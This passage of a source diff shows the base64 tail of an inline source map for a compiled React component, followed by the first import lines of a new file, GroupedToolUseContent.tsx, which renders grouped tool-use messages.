xDQUFDQyxDQUFBLElBQUtBLENBQUMsQ0FBQVgsSUFBSyxLQUFLTyxjQUFjLENBQUM7RUFDOUUsTUFBQUssZ0JBQUEsR0FBeUJOLG1CQUFtQixDQUFBSSxJQUFLLENBQy9DRyxHQUFBLElBQUtGLEdBQUMsQ0FBQVgsSUFBSyxLQUFLUSxpQkFDbEIsQ0FBQztFQUtELE1BQUFNLGNBQUEsR0FBaUQsSUFDNUNSLG1CQUFtQixDQUFBUyxNQUNiLENBQUNDLEtBQWlELENBQUMsQ0FBQUMsR0FDdEQsQ0FBQ0MsTUFBNkIsQ0FBQyxNQUVqQ1QsYUFBYSxHQUFiLEVBU0MsR0FURCxDQUdFO0lBQUFULElBQUEsRUFDUU8sY0FBYztJQUFBWSxJQUFBLEVBQ2QsTUFBTSxJQUFJQyxLQUFLO0lBQUFDLE9BQUEsRUFDWixFQUFFO0lBQUExQixNQUFBLEVBQ0g7RUFDVixDQUFDLENBQ0YsT0FFRGlCLGdCQUFnQixHQUFoQixFQVNDLEdBVEQsQ0FHRTtJQUFBWixJQUFBLEVBQ1FRLGlCQUFpQjtJQUFBVyxJQUFBLEVBQ2pCLFNBQVMsSUFBSUMsS0FBSztJQUFBQyxPQUFBLEVBQ2YsRUFBRTtJQUFBMUIsTUFBQSxFQUNIO0VBQ1YsQ0FBQyxDQUNGLEVBQ047RUFFRCxNQUFBMkIsTUFBQSxHQUFlLElBQUlDLEdBQUcsQ0FBaUIsQ0FBQztFQUd4QyxNQUFBQyxhQUFBLEdBQXNCVixjQUFjLENBQUFHLEdBQUksQ0FBQ1EsSUFBQTtJQUN2QyxNQUFBQyxXQUFBLEdBQW9CekMsY0FBYyxDQUFDd0MsSUFBSSxDQUFBekIsSUFBSyxDQUFDO0lBQzdDLE1BQUEyQixXQUFBLEdBQW9CRixJQUFJLENBQUE5QixNQUF1QixHQUEzQixFQUEyQixHQUEzQixRQUEyQjtJQUcvQyxNQUFBaUMsS0FBQSxHQUFjSCxJQUFJLENBQUFJLE1BQWdELEdBQXBELENBQWVQLE1BQU0sQ0FBQVEsR0FBSSxDQUFDTCxJQUFJLENBQUFJLE1BQVksQ0FBQyxJQUE1QixDQUE0QixJQUFJLENBQUssR0FBcEQsQ0FBb0Q7SUFDbEVQLE1BQU0sQ0FBQVMsR0FBSSxDQUFDTixJQUFJLENBQUF6QixJQUFLLEVBQUU0QixLQUFLLENBQUM7SUFDNUIsTUFBQUksTUFBQSxHQUFlSixLQUFLLEdBQUcsQ0FBK0IsR0FBM0IsSUFBSSxDQUFBSyxNQUFPLENBQUNMLEtBQUssR0FBRyxDQUFNLENBQUMsR0FBdkMsRUFBdUM7SUFHbERNLEdBQUEsQ0FBQUEsS0FBQTtJQUNKLElBQ0VULElBQUksQ0FBQU4sSUFBSyxLQUFLLE1BQ0EsSUFEZCxDQUNDTSxJQUFJLENBQUEvQixRQUN1QixJQUE1QitCLElBQUksQ0FBQXpCLElBQUssS0FBS08sY0FBYztNQUU1QjJCLEtBQUEsQ0FBQUEsQ0FBQSxDQUFRQSxhQUFhO0lBQWhCO01BQ0EsSUFDTFQsSUFBSSxDQUFBTixJQUFLLEtBQUssU0FDQSxJQURkLENBQ0NNLElBQUksQ0FBQS9CLFFBQzBCLElBQS9CK0IsSUFBSSxDQUFBekIsSUFBSyxLQUFLUSxpQkFBaUI7UUFFL0IwQixLQUFBLENBQUFBLENBQUEsQ0FBUUEsZ0JBQWdCO01BQW5CO1FBQ0EsSUFBSU4sS0FBSyxHQUFHLENBQUM7VUFFbEJNLEtBQUEsQ0FBQUEsQ0FBQSxDQUFRQSxHQUFHRixNQUFNLEtBQUtOLFdBQVcsR0FBR0MsV0FBVyxFQUFFO1FBQTVDO1VBR0xPLEtBQUEsQ0FBQUEsQ0FBQSxDQUFRQSxHQUFHUixXQUFXLEVBQUU7UUFBbkI7TUFDTjtJQUFBO0lBR0dTLEdBQUEsQ0FBQUEsV0FBQTtJQUNKLE1BQUFDLEtBQUEsR0FBY2pELGtCQUFrQixDQUFDbEIsY0FBYyxDQUFDLENBQUMsQ0FBQztJQUVsRCxJQUFJd0QsSUFBSSxDQUFBTixJQUFLLEtBQUssTUFBd0IsSUFBdEMsQ0FBeUJNLElBQUksQ0FBQS9CLFFBQVM7TUFDeEN5QyxXQUFBLENBQUFBLENBQUEsQ0FBY0EsOEJBQThCO0lBQWpDO01BQ04sSUFDTFYsSUFBSSxDQUFBTixJQUFLLEtBQUssU0FDQSxJQURkLENBQ0NNLElBQUksQ0FBQS9CLFFBQzBCLElBQS9CK0IsSUFBSSxDQUFBekIsSUFBSyxLQUFLUSxpQkFBaUI7UUFFL0IyQixXQUFBLENBQUFBLENBQUEsQ0FBY0EsR0FBR0MsS0FBSyxHQUFMLGVBQW9DLEdBQXBDLFVBQW9DLGNBQWM7TUFBeEQ7UUFDTixJQUFJWCxJQUFJLENBQUFJLE1BQU87VUFFcEJNLFdBQUEsQ0FBQUEsQ0FBQSxDQUFjQSxZQUFZO1FBQWY7VUFDTixJQUFJVixJQUFJLENBQUEvQixRQUFTO1lBRXRCeUMsV0FBQSxDQUFBQSxDQUFBLENBQWNBLG9CQUFvQjtVQUF2QjtZQUVYQSxXQUFBLENBQUFBLENBQUEsQ0FBY0EsRUFBRTtVQUFMO1FBQ1o7TUFBQTtJQUFBO0lBQUEsT0FFTTtNQUFBRCxLQUFBO01BQUFHLEtBQUEsRUFFRVosSUFBSSxDQUFBekIsSUFBSztNQUFBbUM7SUFFbEIsQ0FBQztFQUFBLENBQ0YsQ0FBQztFQUdGLE1BQUFHLGFBQUEsR0FJSyxFQUFFO0VBRVAsTUFBQUMsZ0JBQUEsR0FBeUI1RCxXQUFXLENBQUM2RCxNQUF1QixDQUFDO0VBQzdELElBQUlqRSxtQkFBbUIsQ0FBQyxDQUFDO0lBQUEsSUFBQWtFLEVBQUE7SUFBQSxJQUFBckMsQ0FBQSxRQUFBc0MsTUFBQSxDQUFBQyxHQUFBO01BRUpGLEVBQUE7UUFBQVAsS0FBQSxFQUNWLHlCQUF5QjtRQUFBRyxLQUFBLEVBQ3pCLEdBQUd4QyxrQkFBa0IsR0FBR3ZCLGNBQWMsQ0FBQyxDQUFDLEVBQUU7UUFBQTZELFdBQUEsRUFDcEM7TUFDZixDQUFDO01BQUEvQixDQUFBLE1BQUFxQyxFQUFBO0lBQUE7TUFBQUEsRUFBQSxHQUFBckMsQ0FBQTtJQUFBO0lBSkRrQyxhQUFhLENBQUFNLElBQUssQ0FBQ0gsRUFJbEIsQ0FBQztJQUdGLElBQUloRixPQUFPLENBQUMsU0FBZ0QsQ0FBQyxJQUFuQzhCLFlBQVksQ0FBQXNELG1CQUFxQixDQUFDLENBQUM7TUFBQSxJQUFBQyxFQUFBO01BQUEsSUFBQTFDLENBQUEsUUFBQXNDLE1BQUEsQ0FBQUMsR0FBQTtRQUN4Q0csRUFBQTtVQUFBWixLQUFBLEVBQ1YseUJBQXlCO1VBQUFHLEtBQUEsRUFDekIsR0FBR3hDLGtCQUFrQixHQUFHTixZQUFZLENBQUF3RCxjQUFnQixDQUFDLENBQUMsRUFBRTtVQUFBWixXQUFBLEVBQ2xEO1FBQ2YsQ0FBQztRQUFBL0IsQ0FBQSxNQUFBMEMsRUFBQTtNQUFBO1FBQUFBLEVBQUEsR0FBQTFDLENBQUE7TUFBQTtNQUpEa0MsYUFBYSxDQUFBTSxJQUFLLENBQUNFLEVBSWxCLENBQUM7SUFBQTtJQUlKLEtBQUssTUFBQUUsS0FBVyxJQUFJVCxnQkFBZ0IsQ0FBQVUsWUFBYTtNQUMvQyxJQUFJRCxLQUFLLENBQUFFLE1BQU87UUFDZCxNQUFBQyxRQUFBLEdBQWlCdkUsaUJBQWlCLENBQUNvRSxLQUFLLENBQUFJLFNBQVUsRUFBRUosS0FBSyxDQUFBRSxNQUFPLENBQUM7UUFDakVaLGFBQWEsQ0FBQU0sSUFBSyxDQUFDO1VBQUFWLEtBQUEsRUFDVixRQUFReEUsS0FBSyxDQUFBMkYsSUFBSyxDQUFDTCxLQUFLLENBQUFJLFNBQVUsQ0FBQyxlQUFlO1VBQUFmLEtBQUEsRUFDbEQsR0FBR3hDLGtCQUFrQixHQUFHc0QsUUFBUSxFQUFFO1VBQUFoQixXQUFBLEVBQzVCLEdBQUdhLEtBQUssQ0FBQUUsTUFBTztRQUM5QixDQUFDLENBQUM7TUFBQTtJQUNIO0VBQ0Y7RUFHSDFCLGFBQWEsQ0FBQW9CLElBQUssSUFBSU4sYUFBYSxDQUFDO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFyQyxDQUFBLFFBQUFvQixhQUFBO0lBSWxDaUIsRUFBQSxHQUFBN0MsZ0JBQ3lELElBQXpENEIsYUFBYSxDQUFBZCxJQUFLLENBQUM0QyxNQUFxQyxDQUV2QixHQUhqQzFELGdCQUdpQyxHQUE3QjRCLGFBQWEsR0FBVSxFQUFBYSxLQUFNLElBQTdCLEVBQTZCO0lBQUFqQyxDQUFBLE1BQUFvQixhQUFBO0lBQUFwQixDQUFBLE1BQUFxQyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBckMsQ0FBQTtFQUFBO0VBSm5DLE1BQUFtRCxXQUFBLEdBQ0VkLEVBR2lDO0VBR25DLE9BQUFlLFlBQUEsRUFBQUMsZUFBQSxJQUF3Q3pGLFFBQVEsQ0FBQ08sbUJBQW1CLENBQUM7RUFDckUsT0FBQW1GLFdBQUEsRUFBQUMsY0FBQSxJQUFzQzNGLFFBQVEsQ0FBQ1Msa0JBQWtCLENBQUM7RUFLbEUsT0FBQW1GLFlBQUEsSUFBdUI1RixRQUFRLENBQUNPLG1CQUFtQixDQUFDO0VBSXBELE1BQUFzRixjQUFBLEdBQXVCbEYsV0FBVyxDQUFDbUYsTUFJbkMsQ0FBQztFQUNELE9BQUFDLFdBQUEsRUFBQUMsY0FBQSxJQUFzQ2hHLFFBQVEsQ0FBZ0IsSUFBSSxDQUFDO0VBQUEsSUFBQThFLEVBQUE7RUFBQSxJQUFBMUMsQ0FBQSxRQUFBd0QsWUFBQTtJQUN6RGQsRUFBQSxHQUFBQSxDQUFBO01BQ1IsSUFBSSxDQUFDYyxZQUFZO1FBQUE7TUFBQTtNQUNabEYsc0JBQXNCLENBQUMsQ0FBQyxDQUFBdUYsSUFBSyxDQUFDRCxjQUFjLENBQUM7SUFBQSxDQUNuRDtJQUFBNUQsQ0FBQSxNQUFBd0QsWUFBQTtJQUFBeEQsQ0FBQSxNQUFBMEMsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQTFDLENBQUE7RUFBQTtFQUFBLElBQUE4RCxFQUFBO0VBQUEsSUFBQTlELENBQUEsUUFBQXlELGNBQUEsSUFBQXpELENBQUEsUUFBQXdELFlBQUE7SUFBRU0sRUFBQSxJQUFDTixZQUFZLEVBQUVDLGNBQWMsQ0FBQztJQUFBekQsQ0FBQSxNQUFBeUQsY0FBQTtJQUFBekQsQ0FBQSxNQUFBd0QsWUFBQTtJQUFBeEQsQ0FBQSxNQUFBOEQsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQTlELENBQUE7RUFBQTtFQUhqQ3JDLFNBQVMsQ0FBQytFLEVBR1QsRUFBRW9CLEVBQThCLENBQUM7RUFBQSxJQUFBQyxFQUFBO0VBQUEsSUFBQS9ELENBQUEsUUFBQXlELGNBQUEsSUFBQXpELENBQUEsU0FBQTJELFdBQUE7SUFFZEksRUFBQSxHQUFBTixjQUFjLEdBQWQsU0FNOEMsR0FKOURFLFdBQVcsS0FBSyxJQUk4QyxHQUo5RCxFQUk4RCxHQUY1REEsV0FBVyxLQUFLLENBRTRDLEdBRjVELE9BRTRELEdBRjVELFlBRWM3RSxxQkFBcUIsQ0FBQyxJQUFJa0YsSUFBSSxDQUFDTCxXQUFXLENBQUMsQ0FBQyxFQUFFO0lBQUEzRCxDQUFBLE1BQUF5RCxjQUFBO0lBQUF6RCxDQUFBLE9BQUEyRCxXQUFBO0lBQUEzRCxDQUFBLE9BQUErRCxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBL0QsQ0FBQTtFQUFBO0VBTmxFLE1BQUFpRSxXQUFBLEdBQW9CRixFQU04QztFQUdsRSxPQUFBRyxhQUFBLEVBQUFDLGdCQUFBLElBQTBDdkcsUUFBUSxDQUFnQixJQUFJLENBQUM7RUFDdkUsTUFBQXdHLGFBQUEsR0FBc0JGLGFBQWEsS0FBSyxJQUFJO0VBQzVDLE1BQUFHLGVBQUEsR0FBd0JiLFlBQVksR0FBWixDQUFvQixHQUFwQixDQUFvQjtFQUFBLElBQUFjLEVBQUE7RUFBQSxJQUFBdEUsQ0FBQSxTQUFBb0QsWUFBQTtJQUU1Q2tCLEVBQUEsWUFBQUMsdUJBQUE7TUFDRSxNQUFBQyxRQUFBLEdBQWlCLENBQUNwQixZQUFZO01BQzlCcEUsdUJBQXVCLENBQUMsY0FBYyxFQUFFO1FBQUF5RixpQkFBQSxFQUFxQkQ7TUFBUyxDQUFDLENBQUM7TUFDeEVuQixlQUFlLENBQUNtQixRQUFRLENBQUM7TUFDekJwRyxRQUFRLENBQUMsMkJBQTJCLEVBQUU7UUFBQXNHLE9BQUEsRUFBV0Y7TUFBUyxDQUFDLENBQUM7SUFBQSxDQUM3RDtJQUFBeEUsQ0FBQSxPQUFBb0QsWUFBQTtJQUFBcEQsQ0FBQSxPQUFBc0UsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQXRFLENBQUE7RUFBQTtFQUxELE1BQUF1RSxzQkFBQSxHQUFBRCxFQUtDO0VBQUEsSUFBQUssRUFBQTtFQUFBLElBQUEzRSxDQUFBLFNBQUFzRCxXQUFBO0lBRURxQixFQUFBLFlBQUFDLHNCQUFBO01BQ0UsTUFBQUMsVUFBQSxHQUFpQixDQUFDdkIsV0FBVztNQUM3QnRFLHVCQUF1QixDQUFDLGNBQWMsRUFBRTtRQUFBOEYsZ0JBQUEsRUFBb0JOO01BQVMsQ0FBQyxDQUFDO01BQ3ZFakIsY0FBYyxDQUFDaUIsVUFBUSxDQUFDO01BQ3hCcEcsUUFBUSxDQUFDLDBCQUEwQixFQUFFO1FBQUFzRyxPQUFBLEVBQVdGO01BQVMsQ0FBQyxDQUFDO0lBQUEsQ0FDNUQ7SUFBQXhFLENBQUEsT0FBQXNELFdBQUE7SUFBQXRELENBQUEsT0FBQTJFLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUEzRSxDQUFBO0VBQUE7RUFMRCxNQUFBNEUscUJBQUEsR0FBQUQsRUFLQztFQUVEN0csOEJBQThCLENBQUMsQ0FBQztFQUFBLElBQUFpSCxFQUFBO0VBQUEsSUFBQS9FLENBQUEsU0FBQXNDLE1BQUEsQ0FBQUMsR0FBQTtJQUVNd0MsRUFBQTtNQUFBQyxPQUFBLEVBQVc7SUFBZSxDQUFDO0lBQUFoRixDQUFBLE9BQUErRSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBL0UsQ0FBQTtFQUFBO0VBQWpFL0IsYUFBYSxDQUFDLFlBQVksRUFBRTRCLFFBQVEsRUFBRWtGLEVBQTJCLENBQUM7RUFBQSxJQUFBRSxFQUFBO0VBQUEsSUFBQWpGLENBQUEsU0FBQWtFLGFBQUEsSUFBQWxFLENBQUEsU0FBQTRFLHFCQUFBLElBQUE1RSxDQUFBLFNBQUF1RSxzQkFBQTtJQUloRVUsRUFBQSxHQUFBQSxDQUFBO01BQ0UsSUFBSWYsYUFBYSxLQUFLLENBQUM7UUFBRUssc0JBQXNCLENBQUMsQ0FBQztNQUFBO1FBQzVDLElBQUlMLGFBQWEsS0FBSyxDQUFDO1VBQUVVLHFCQUFxQixDQUFDLENBQUM7UUFBQTtNQUFBO0lBQUEsQ0FDdEQ7SUFBQTVFLENBQUEsT0FBQWtFLGFBQUE7SUFBQWxFLENBQUEsT0FBQTRFLHFCQUFBO0lBQUE1RSxDQUFBLE9BQUF1RSxzQkFBQTtJQUFBdkUsQ0FBQSxPQUFBaUYsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQWpGLENBQUE7RUFBQTtFQUFBLElBQUFrRixFQUFBO0VBQUEsSUFBQWxGLENBQUEsU0FBQW9FLGFBQUE7SUFDRGMsRUFBQTtNQUFBRixPQUFBLEVBQVcsY0FBYztNQUFBRyxRQUFBLEVBQVlmO0lBQWMsQ0FBQztJQUFBcEUsQ0FBQSxPQUFBb0UsYUFBQTtJQUFBcEUsQ0FBQSxPQUFBa0YsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQWxGLENBQUE7RUFBQTtFQU50RC9CLGFBQWEsQ0FDWCxhQUFhLEVBQ2JnSCxFQUdDLEVBQ0RDLEVBQ0YsQ0FBQztFQUFBLElBQUFFLEdBQUE7RUFBQSxJQUFBcEYsQ0FBQSxTQUFBcUUsZUFBQTtJQUdDZSxHQUFBLEdBQUFBLENBQUE7TUFDRWpCLGdCQUFnQixDQUFDa0IsSUFBQSxJQUNmQSxJQUFJLEtBQUssSUFBOEIsSUFBdEJBLElBQUksR0FBR2hCLGVBQWlDLEdBQWZnQixJQUFJLEdBQUcsQ0FBUSxHQUF6RCxJQUNGLENBQUM7SUFBQSxDQUNGO0lBQUFyRixDQUFBLE9BQUFxRSxlQUFBO0lBQUFyRSxDQUFBLE9BQUFvRixHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBcEYsQ0FBQTtFQUFBO0VBQUEsSUFBQXNGLEdBQUE7RUFBQSxJQUFBdEYsQ0FBQSxTQUFBb0UsYUFBQTtJQUNEa0IsR0FBQTtNQUFBTixPQUFBLEVBQVcsUUFBUTtNQUFBRyxRQUFBLEVBQVlmO0lBQWMsQ0FBQztJQUFBcEUsQ0FBQSxPQUFBb0UsYUFBQTtJQUFBcEUsQ0FBQSxPQUFBc0YsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQXRGLENBQUE7RUFBQTtFQVBoRC9CLGFBQWEsQ0FDWCxhQUFhLEVBQ2JtSCxHQUlDLEVBQ0RFLEdBQ0YsQ0FBQztFQUFBLElBQUFDLEdBQUE7RUFBQSxJQUFBdkYsQ0FBQSxTQUFBc0MsTUFBQSxDQUFBQyxHQUFBO0lBR0NnRCxHQUFBLEdBQUFBLENBQUE7TUFDRXBCLGdCQUFnQixDQUFDcUIsTUFBcUQsQ0FBQztJQUFBLENBQ3hFO0lBQUF4RixDQUFBLE9BQUF1RixHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBdkYsQ0FBQTtFQUFBO0VBQUEsSUFBQXlGLEdBQUE7RUFBQSxJQUFBekYsQ0FBQSxTQUFBb0UsYUFBQTtJQUNEcUIsR0FBQTtNQUFBVCxPQUFBLEVBQVcsUUFBUTtNQUFBRyxRQUFBLEVBQVlmO0lBQWMsQ0FBQztJQUFBcEUsQ0FBQSxPQUFBb0UsYUFBQTtJQUFBcEUsQ0FBQSxPQUFBeUYsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQXpGLENBQUE7RUFBQTtFQUxoRC9CLGFBQWEsQ0FDWCxpQkFBaUIsRUFDakJzSCxHQUVDLEVBQ0RFLEdBQ0YsQ0FBQztFQUswQixNQUFBQyxHQUFBLEdBQUF4QixhQUFhLEtBQUssQ0FBQztFQUNsQixNQUFBeUIsR0FBQSxHQUFBdkMsWUFBWSxHQUFaLElBQTJCLEdBQTNCLEtBQTJCO0VBQUEsSUFBQXdDLEdBQUE7RUFBQSxJQUFBNUYsQ0FBQSxTQUFBMkYsR0FBQTtJQUEvQ0MsR0FBQSxJQUFDLElBQUksQ0FBQyxhQUFjLENBQUFELEdBQTBCLENBQUUsRUFBL0MsSUFBSSxDQUFrRDtJQUFBM0YsQ0FBQSxPQUFBMkYsR0FBQTtJQUFBM0YsQ0FBQSxPQUFBNEYsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTVGLENBQUE7RUFBQTtFQUFBLElBQUE2RixHQUFBO0VBQUEsSUFBQTdGLENBQUEsU0FBQTBGLEdBQUEsSUFBQTFGLENBQUEsU0FBQTRGLEdBQUE7SUFEekRDLEdBQUEsSUFBQyxRQUFRLENBQVksU0FBbUIsQ0FBbkIsQ0FBQUgsR0FBa0IsQ0FBQyxDQUN0QyxDQUFBRSxHQUFzRCxDQUN4RCxFQUZDLFFBQVEsQ0FFRTtJQUFBNUYsQ0FBQSxPQUFBMEYsR0FBQTtJQUFBMUYsQ0FBQSxPQUFBNEYsR0FBQTtJQUFBNUYsQ0FBQSxPQUFBNkYsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTdGLENBQUE7RUFBQTtFQUFBLElBQUE4RixHQUFBO0VBQUEsSUFBQTlGLENBQUEsU0FBQXNELFdBQUEsSUFBQXRELENBQUEsU0FBQWlFLFdBQUEsSUFBQWpFLENBQUEsU0FBQWtFLGFBQUEsSUFBQWxFLENBQUEsU0FBQXlELGNBQUEsSUFBQXpELENBQUEsU0FBQXdELFlBQUE7SUFDVnNDLEdBQUEsR0FBQXRDLFlBVUEsSUFUQyxDQUFDLFFBQVEsQ0FBWSxTQUFtQixDQUFuQixDQUFBVSxhQUFhLEtBQUssRUFBQyxDQUFVLE1BQUssQ0FBTCxNQUFJLENBQUMsQ0FDckQsQ0FBQyxJQUFJLENBQVEsS0FBOEMsQ0FBOUMsQ0FBQUEsYUFBYSxLQUFLLENBQTRCLEdBQTlDLFlBQThDLEdBQTlDNkIsU0FBNkMsQ0FBQyxDQUFFLFlBQzlDLENBQUF6QyxXQUFXLEdBQVgsSUFBMEIsR0FBMUIsS0FBeUIsQ0FDckMsQ0FBQVcsV0FBcUQsSUFBdEMsQ0FBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLEdBQUlBLFlBQVUsQ0FBRSxFQUE5QixJQUFJLENBQWdDLENBQ3BELEVBQUNSLGNBQTZCLElBQTlCSCxXQUVBLElBREMsQ0FBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLGdCQUFnQixFQUE5QixJQUFJLENBQ1AsQ0FDRixFQU5DLElBQUksQ0FPUCxFQVJDLFFBQVEsQ0FTVjtJQUFBdEQsQ0FBQSxPQUFBc0QsV0FBQTtJQUFBdEQsQ0FBQSxPQUFBaUUsV0FBQTtJQUFBakUsQ0FBQSxPQUFBa0UsYUFBQTtJQUFBbEUsQ0FBQSxPQUFBeUQsY0FBQTtJQUFBekQsQ0FBQSxPQUFBd0QsWUFBQTtJQUFBeEQsQ0FBQSxPQUFBOEYsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTlGLENBQUE7RUFBQTtFQUFBLElBQUFnRyxHQUFBO0VBQUEsSUFBQWhHLENBQUEsU0FBQTZGLEdBQUEsSUFBQTdGLENBQUEsU0FBQThGLEdBQUE7SUFkSEUsR0FBQSxJQUFDLEdBQUcsQ0FBZSxhQUFRLENBQVIsUUFBUSxDQUFlLFlBQUMsQ0FBRCxHQUFDLENBQ3pDLENBQUFILEdBRVUsQ0FDVCxDQUFBQyxHQVVELENBQ0YsRUFmQyxHQUFHLENBZUU7SUFBQTlGLENBQUEsT0FBQTZGLEdBQUE7SUFBQTdGLENBQUEsT0FBQThGLEdBQUE7SUFBQTlGLENBQUEsT0FBQWdHLEdBQUE7RUFBQTtJQUFBQSxHQUFBLEdBQUFoRyxDQUFBO0VBQUE7RUFBQSxJQUFBaUcsR0FBQTtFQUFBLElBQUFqRyxDQUFBLFNBQUFMLFFBQUE7SUFNTXNHLEdBQUEsR0FBQWhFLEtBQUE7TUFDUixJQUFJQSxLQUFLLENBQUFpRSxVQUFXLENBQUN6RyxrQkFBa0IsQ0FBQztRQUN0QyxNQUFBMEcsVUFBQSxHQUFtQmxFLEtBQUssQ0FBQW1FLEtBQU0sQ0FBQzNHLGtCQUFrQixDQUFBNEcsTUFBTyxDQUFDO1FBR3BEOUksS0FBSyxDQUFDNEksVUFBVSxFQUFFO1VBQUFHLFNBQUEsRUFBYTtRQUFLLENBQUMsQ0FBQyxDQUFBQyxLQUNuQyxDQUFDQyxNQUFRLENBQUMsQ0FBQTNDLElBQ1gsQ0FBQyxNQUFNcEYsUUFBUSxDQUFDMEgsVUFBVSxDQUFDLENBQUM7UUFBQTtNQUFBO01BR3JDM0csZ0JBQUEsQ0FBQUEsQ0FBQSxDQUFtQnlDLEtBQUg7TUFDaEJ0QyxRQUFRLENBQUNzQyxLQUFLLENBQUM7SUFBQSxDQUNoQjtJQUFBakMsQ0FBQSxPQUFBTCxRQUFBO0lBQUFLLENBQUEsT0FBQWlHLEdBQUE7RUFBQTtJQUFBQSxHQUFBLEdBQUFqRyxDQUFBO0VBQUE7RUFBQSxJQUFBeUcsR0FBQTtFQUFBLElBQUF6RyxDQUFBLFNBQUFxRSxlQUFBO0lBRWtCb0MsR0FBQSxHQUFBQSxDQUFBLEtBQU10QyxnQkFBZ0IsQ0FBQ0UsZUFBZSxDQUFDO0lBQUFyRSxDQUFBLE9BQUFxRSxlQUFBO0lBQUFyRSxDQUFBLE9BQUF5RyxHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBekcsQ0FBQTtFQUFBO0VBQUEsSUFBQTBHLEdBQUE7RUFBQSxJQUFBMUcsQ0FBQSxTQUFBbUQsV0FBQSxJQUFBbkQsQ0FBQSxTQUFBb0IsYUFBQSxJQUFBcEIsQ0FBQSxTQUFBSCxRQUFBLElBQUFHLENBQUEsU0FBQWlHLEdBQUEsSUFBQWpHLENBQUEsU0FBQXlHLEdBQUEsSUFBQXpHLENBQUEsU0FBQW9FLGFBQUE7SUFsQjVEc0MsR0FBQSxJQUFDLE1BQU0sQ0FDY3ZELGlCQUFXLENBQVhBLFlBQVUsQ0FBQyxDQUNyQi9CLE9BQWEsQ0FBYkEsY0FBWSxDQUFDLENBQ1ZnRCxVQUFhLENBQWJBLGNBQVksQ0FBQyxDQUNmLFFBWVQsQ0FaUyxDQUFBNkIsR0FZVixDQUFDLENBQ1NwRyxRQUFRLENBQVJBLFNBQU8sQ0FBQyxDQUNDLGlCQUF1QyxDQUF2QyxDQUFBNEcsR0FBc0MsQ0FBQyxHQUMxRDtJQUFBekcsQ0FBQSxPQUFBbUQsV0FBQTtJQUFBbkQsQ0FBQSxPQUFBb0IsYUFBQTtJQUFBcEIsQ0FBQSxPQUFBSCxRQUFBO0lBQUFHLENBQUEsT0FBQWlHLEdBQUE7SUFBQWpHLENBQUEsT0FBQXlHLEdBQUE7SUFBQXpHLENBQUEsT0FBQW9FLGFBQUE7SUFBQXBFLENBQUEsT0FBQTBHLEdBQUE7RUFBQTtJQUFBQSxHQUFBLEdBQUExRyxDQUFBO0VBQUE7RUFBQSxJQUFBMkcsR0FBQTtFQUFBLElBQUEzRyxDQUFBLFNBQUFnRyxHQUFBLElBQUFoRyxDQUFBLFNBQUEwRyxHQUFBO0lBckNKQyxHQUFBLElBQUMsR0FBRyxDQUFlLGFBQVEsQ0FBUixRQUFRLENBQU8sS0FBTSxDQUFOLE1BQU0sQ0FDdEMsQ0FBQVgsR0FlSyxDQUVMLENBQUFVLEdBbUJDLENBQ0gsRUF0Q0MsR0FBRyxDQXNDRTtJQUFBMUcsQ0FBQSxPQUFBZ0csR0FBQTtJQUFBaEcsQ0FBQSxPQUFBMEcsR0FBQTtJQUFBMUcsQ0FBQSxPQUFBMkcsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQTNHLENBQUE7RUFBQTtFQUFBLE9BdENOMkcsR0FzQ007QUFBQTtBQWxSSCxTQUFBSCxPQUFBO0FBQUEsU0FBQWhCLE9BQUFvQixNQUFBO0VBQUEsT0FzT3lCdkIsTUFBSSxLQUFLLElBQWdCLElBQVJBLE1BQUksR0FBRyxDQUFtQixHQUFmQSxNQUFJLEdBQUcsQ0FBUSxHQUEzQ3VCLE1BQTJDO0FBQUE7QUF0T3BFLFNBQUFsRCxPQUFBbUQsR0FBQTtFQUFBLE9BeUtIQyxNQUFNLENBQUFDLE1BQU8sQ0FBQ0MsR0FBQyxDQUFBQyxLQUFNLENBQUMsQ0FBQTNHLElBQUssQ0FDekI0RyxNQUNGLENBQUM7QUFBQTtBQTNLRSxTQUFBQSxPQUFBQyxDQUFBO0VBQUEsT0EwS0lBLENBQUMsQ0FBQXBHLElBQUssS0FBSyxPQUFpQyxJQUF0Qm9HLENBQUMsQ0FBQUMsTUFBTyxLQUFLLFNBQVM7QUFBQTtBQTFLaEQsU0FBQWxFLE9BQUFtRSxHQUFBO0VBQUEsT0F5SnVCQSxHQUFHLENBQUFwRixLQUFNLEtBQUt6QyxnQkFBZ0I7QUFBQTtBQXpKckQsU0FBQTRDLE9BQUE0RSxDQUFBO0VBQUEsT0FxSHFDQSxDQUFDLENBQUE3RSxnQkFBaUI7QUFBQTtBQXJIdkQsU0FBQXJCLE9BQUF3RyxHQUFBO0VBQUEsT0FzQlU7SUFBQSxHQUFLL0csR0FBQztJQUFBaEIsTUFBQSxFQUFVO0VBQUssQ0FBQztBQUFBO0FBdEJoQyxTQUFBcUIsTUFBQTJHLEdBQUE7RUFBQSxPQXFCWWhILEdBQUMsQ0FBQVEsSUFBSyxLQUFLLFNBQWlDLElBQXBCUixHQUFDLENBQUFRLElBQUssS0FBSyxTQUFTO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=

src/components/messages/GroupedToolUseContent.tsx

@@ -0,0 +1,58 @@
+import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/messages/messages.mjs';
+import * as React from 'react';
+import { filterToolProgressMessages, findToolByName, type Tools } from '../../Tool.js';
